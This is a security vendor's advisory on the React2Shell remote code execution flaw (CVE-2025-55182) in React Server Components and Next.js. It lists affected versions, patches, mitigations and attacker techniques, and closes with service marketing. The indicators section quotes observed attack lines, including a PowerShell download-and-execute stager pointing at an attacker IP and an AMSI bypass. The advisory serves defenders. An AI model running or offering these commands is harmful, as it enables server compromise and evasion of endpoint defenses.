UPDATE - Exploitation of React2Shell (CVE-2025-55182) Giving Attackers Direct Server Access

TL;DR

Attackers are already taking advantage of CVE-2025-55182 (CVSS 10), a maximum-severity RCE flaw in React Server Components.

Automated scans are hitting exposed RSC endpoints, using simple PowerShell math checks to confirm code execution, then pulling staged payloads designed to bypass AMSI and establish deeper access.

Patch immediately. This issue gives remote attackers direct execution on application servers with no login required.

UPDATE - 12/9/2025

Cisco confirmed that the React2Shell vulnerability (CVE-2025-55182) affects third-party open-source components, but not Cisco's own code. They are reviewing all cloud services and products that use embedded React frameworks, and so far have not found any affected platforms. Major services such as Meraki Dashboard, ThousandEyes, Secure Access, Secure Endpoint, Intersight, Webex offerings, Multicloud Defense, and Cloud Analytics have already been cleared.

Cisco has not released fixes or workarounds, and there is no confirmed impact at this time. If that changes, they will publish product-specific bug IDs and patch guidance through the PSIRT portal. This update does not change the situation for organizations running their own React or Next.js apps. Attackers are still targeting exposed servers, and the fix should be applied as soon as possible.

Overview

This week, React which is an open-source JavaScript library, disclosed CVE-2025-55182, a CVSS 10.0 vulnerability in the React Server Components Flight protocol that allows an unauthenticated attacker to run code on the server through a crafted POST request. The issue stems from unsafe deserialization. The parser treats attacker supplied `.then` properties as trusted workflow signals, and when React rebuilds objects from multipart form data, that reference is executed. Once this happens, attacker-controlled code runs before any authentication or permission checks.

Because the flaw sits in the core react-server packages, anything built on top of them inherits the same exposure. Next.js App Router deployments are hit the hardest, but

frameworks like Waku, RedwoodSDK, React Router's RSC preview, and RSC plugins for Vite and Parcel are also affected. Exploitation began almost immediately after disclosure. GreyNoise is already capturing widespread automated activity, and Amazon confirmed China-nexus operators testing the vulnerability against cloud-hosted targets.

Affected Products

- react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack (19.0.0–19.2.0)
- Next.js versions 14.3.0-canary.77+, all 15.x, all 16.x using App Router
- Waku, React Router RSC preview, RedwoodSDK
- RSC plugins for Vite and Parcel
- Any cloud or self-hosted application exposing RSC endpoints

What GreyNoise Is Seeing So Far

Early exploitation attempts show a familiar pattern:

- Attackers start with PowerShell arithmetic commands to verify execution and retrieve deterministic output.
- Once validated, they switch to encoded PowerShell (`-enc`) stagers pulling from IPs such as `23[.]235[.]188[.]3:652/qMqSb`.
- Stage-2 code uses reflection to flip `System.Management.Automation.AmsiUtils.amsiInitFailed = $true,` weakening endpoint defenses before running additional commands.
- Traffic is mostly automated (Go clients, aiohttp, python-requests, and scanner-tagged user agents) with early signs of botnet absorption, including Mirai-style patterns.
- Nearly half of the exploitation IPs are newly observed, indicating rapid turnover in VPS and proxy pools.

Nothing about the chain is new, but it is the exact workflow that ransomware groups and access brokers rely on for footholds.

React's JavaScript library is used to build web interfaces. It was created by Facebook (now Meta) and is maintained by Meta along with a huge open-source community. If CVE-2025-55182 is left unpatched, this gives attackers a straight path to server-level execution, staged payload delivery, and whatever follow-on actions they choose to take.

Aspire Protects

- Patch React to 19.0.1, 19.1.2, or 19.2.1 and upgrade Next.js to patched builds (15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7).
- Until patched, block multipart requests where form keys contain both `$` and `:`—a strong pattern for exploit traffic.
- Restrict outbound traffic from application servers to prevent reverse shell callbacks and miner downloads.
- Monitor for Event ID 4104 activity across any script blocks referencing `AmsiUtils`, encoded commands, or reflection use.
- Watch DMZ systems for any sudden process creation tied to PowerShell or Node.js activity.

TTPs to Watch

Initial Access

- Exploit Public-Facing Application [T1190] – Attackers may send crafted multipart POST requests containing malicious `$` and `:` reference markers that exploit the unsafe deserialization logic in the Flight protocol. This gives them direct execution on public RSC endpoints with no authentication.

Execution

- Command and Scripting Interpreter: PowerShell [T1059.001] – After confirming RCE with simple arithmetic probes, attackers may run Base64-encoded PowerShell stagers that pull follow-on payloads through `DownloadString` and `IEX`. This matches what GreyNoise and cloud providers are seeing in the field.

Defense Evasion

- Impair Defenses: AMSI Bypass [T1562.001] – Stage-2 payloads use reflection to modify `System.Management.Automation.AmsiUtils.amsiInitFailed` and disable inspection. This makes later PowerShell activity harder to catch and is a consistent part of the exploitation chain.

IoCs

Execution Probes

- powershell -c "<digits>*<digits>"

Stagers

- powershell.exe -enc <base64>
- IEX (New-Object System.Net.Webclient).DownloadString('http://23[.]235[.]188[.]3:652/qMqSb')

Defense Evasion
Reflection updates to:

- System.Management.Automation.AmsiUtils.amsiInitFailed = $true

Observed Payload Hosts

- 23[.]235[.]188[.]3:652
- Additional IPs tied to simple bash-droppers and miner scripts.

***Note**: For additional IoCs, please see GreyNoise.*

Targeted Industries

The React2Shell remote code execution flaw threatens any organization running internet-facing applications built on React Server Components.

- Government
- Education
- Energy
- Healthcare
- Retail
- Finance
- Technology
- Legal
- Manufacturing

Aspire's Service Offerings

- **Aspire Managed XDR (MXDR)**
  - Aspire Managed XDR (MXDR) combines next-generation eXtended Detection and Response (XDR) technology, a 24x7 security operations center (SOC), and the expertise of a US-based team of security

professionals to identify and respond to threats across a broader attack surface.

- Building on the existing capabilities of Managed Detection and Response (MDR), Aspire Managed XDR integrates and correlates telemetry from endpoints, network, cloud, email, identity, and more. This advanced platform creates valuable context enabling end-to-end visibility across all threat vectors.

- Experienced security analysts and incident responders deliver 24x7 threat detection, analysis, and investigations – with both automated and human-led response actions to quickly mitigate cyber attacks.

- **Aspire Incident Response**
  - The ability to respond effectively to data breaches is critical to every organization. When attacks occur, IT leaders need a process that will ultimately maintain business continuity, protect the company reputation, and avoid fines, legal fees, and remediation costs.

  - Aspire offers incident response services to help you prepare for, manage, and recover from data breaches and network attacks. An experienced team uses industry-leading threat intelligence and the most current security technology to quickly respond to attacks, reduce damage, and minimize exposure.

Supporting Documentation

CVE-2025-55182 React Server Components RCE POC · GitHub

CVE-2025-55182 (React2Shell) Opportunistic Exploitation In The Wild: What The GreyNoise Observation Grid Is Seeing So Far

December 5 Advisory: Unauthenticated RCE Flaw in React Server Components [CVE-2025-55182]

Remote Code Execution Vulnerability in React and Next.js Frameworks: December 2025